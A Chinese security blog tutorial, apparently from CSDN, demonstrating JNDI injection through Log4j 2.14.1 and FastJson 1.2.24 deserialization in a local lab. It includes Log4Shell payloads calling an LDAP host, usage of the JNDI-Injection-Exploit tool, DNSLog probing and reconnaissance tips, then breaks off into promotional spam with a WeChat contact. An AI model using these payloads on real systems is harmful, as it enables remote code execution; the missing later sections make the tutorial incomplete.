JNDI注入&Log4j&FastJson&白盒审计&不回显处理_log4j 攻击无回显怎么办

0x02 JNDI 注入简介

0x03 Java-第三方组件-Log4J&JNDI

0x04 Java-第三方组件-FastJson&反射

0x05 白盒审计 - FastJson

0x06 白盒审计 - Log4j

0x07 不回显的处理方法


0x00 前言

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser’s Blog

0x01 Maven 仓库及配置

Jar仓库:Maven Repository: Search/Browse/Explore (mvnrepository.com)")

Maven配置:IDEA配置Maven的超详细步骤_java_脚本之家 (jb51.net)")

0x02 JNDI 注入简介

参考:【精选】安全技术系列之JNDI注入_jndi注入原理-CSDN博客

Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

简单来说,JNDI 就是一个 Java 自带的 API,可以实现远程打印、远程调用文件等。

可以看到,在图中 JNDI 的下面有 LDAP 和 RMI 两个协议,这两个协议是在 JNDI 注入过程中经常用到的,可以实现远程调用执行 Java class 文件。

LDAP 是一种用于访问和维护分布式目录服务信息的协议,广泛用于身份认证、访问控制和共享资源等领域。RMI是一种允许在分布式系统中进行远程方法调用的协议。

0x03 Java-第三方组件-Log4J&JNDI

1、Log4j简介

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

简单来说,Log4j就是一个Java的第三方组件,用来对日志进行处理,如果项目有日志需求,就有可能用到Log4j。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

2、简单测试 Log4j 漏洞

首先在 Maven 官网找到相应版本的 Log4j(我这里用的是 2.14.1 版本),粘贴到 pom.xml

org.apache.logging.log4j log4j-core 2.14.1

创建一个 Log4jTest 的类来测试,以下是代码:(注意这里包不要倒错了)

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

运行 main 函数后,IDEA 控制台输出:123

修改 Log4jTest 类的代码,如下:

运行 main 函数后,IDEA 控制台输出了操作系统的信息,也就是以 Java 代码执行了系统命令

那么思考一个问题,如果 code 变量可控,是不是可以进行漏洞利用了呢?

新建一个 Web 项目模拟可控变量 code 的场景:创建一个 Log4jServlet,代码如下。

浏览器访问:http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24{java%3aos}

这里我测试直接传入code=${java:os}不行,不让直接输入 {} 号,所以进行了 URL 编码。最后IDEA 控制台同样输出了操作系统的信息。

3、工具测试 Log4j 漏洞

这里引入一款 JNDI 注入工具:JNDI-Injection-Exploit,这款工具可以生成一个 class 文件供远程访问,并附带 JNDI 链接,可以将这些链接插入 POC 以测试漏洞。

具体使用方法如下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:
-C 远程class文件中要执行的命令
-A 服务器地址,可以是IP地址或者域名

注意:
要确保 1099、1389、8180端口可用,不被其他程序占用
或者你也可以在run.ServerStart类26~28行更改默认端口

实验时我用的 Kali 虚拟机来运行的 JNDI-Injection-Exploit 工具。本来想用腾讯云的 CentOS,但是测试发现进行 JNDI 注入后 Web 项目的主机(即我的物理机)没有成功访问 Kali 上的 class 文件,可能是防火墙策略的原因。

我的 Target Environment 是 JDK 1.8(也就是运行 Web 项目的主机,也即我的物理机),所以应该选择如图所示的 RMI 或 LDAP 链接。

基于之前的项目环境,构造 POC:

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://192.168.1.10:1389/hjrijn}

经过 URL 编码后为:

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=%24%7bjndi%3aldap%3a%2f%2f192.168.1.10%3a1389%2fhjrijn%7d

成功弹出计算器,如图:

观察到 Kali 这边输出了日志,并且可以看到生成的 class 文件位置。

总结,触发JNDI 注入的原因:开发源码中引用漏洞组件(如 Log4j),使用了组件里可能会触发漏洞的代码(如 log.error),并且有可控变量存在(如这里的 $code)

这里我相当于是白盒知道该 Web 项目引用了 Log4j 组件并且知道注入点是 code,那么实战中(黑盒)如何知道对方有没有引用 Log4j 呢?并且就算注入成功自己也无从知晓(比如就算对方弹了计算器,但我是看不到的),那么又如何判断哪里是注入点呢?

思路:

  • Fofa、Shodan关键字搜 Log4j、根据返回包内容有无 Log4j 相关信息、页面报错信息等方式去判断对方有没有引用 Log4j
  • 通过 DNSLog 测试有无回连,比如构造 POC 为 ${jndi:ldap://xxx.dns.log} 去测试注入点
0x04 Java-第三方组件-FastJson&反射

1、FastJson 简介

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Java 其实是有原生 Json 数据格式转换的,但由于 FastJson 速度更快,效率更高,所以被广泛使用。

简单来说 FastJson 就是一个阿里巴巴开发的用做 Json 数据格式转换的 Java 第三方组件。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

2、简单测试 FastJson

同样先引用 FastJson 组件(我使用的是 1.2.24 版本)

com.alibaba fastjson 1.2.24

创建一个 User 类,用来测试 FastJson 的数据格式转换

创建一个 FastjsonTest,使用 FastJson 处理 User 类的数据转换

运行 main 函数后,IDEA 控制台输出如下:

可以看到使用 JSONObject.toJSONString 的 SerializerFeature.WriteClassName 参数时会附带上类名,这也是漏洞利用的关键点(@type)

将 JSON 格式字符串转换为对象的过程,实质上就是反序列化的过程,上述 JSON —> 对象 的代码中:

String test = “{”@type":“com.example.FastjsonDemo.User”,“age”:23,“name”:“ch4ser”}";

反序列化的是 User 这个类。试想,如果将在 com.example.FastjsonDemo 路径下创建一个新的类 Run,代码如下:

并且修改 “@type”:“com.example.FastjsonDemo.Run”,如下所示:

String test = “{”@type":“com.example.FastjsonDemo.Run”,“age”:23,“name”:“ch4ser”}";

那么重新运行 main 函数,就会反序列化 Run 这个类,并且会触发 Run 这个类的无参构造方法 Run(),最终弹出计算器。

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-mo7ONr1S-1712666793660)]

  • 17
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值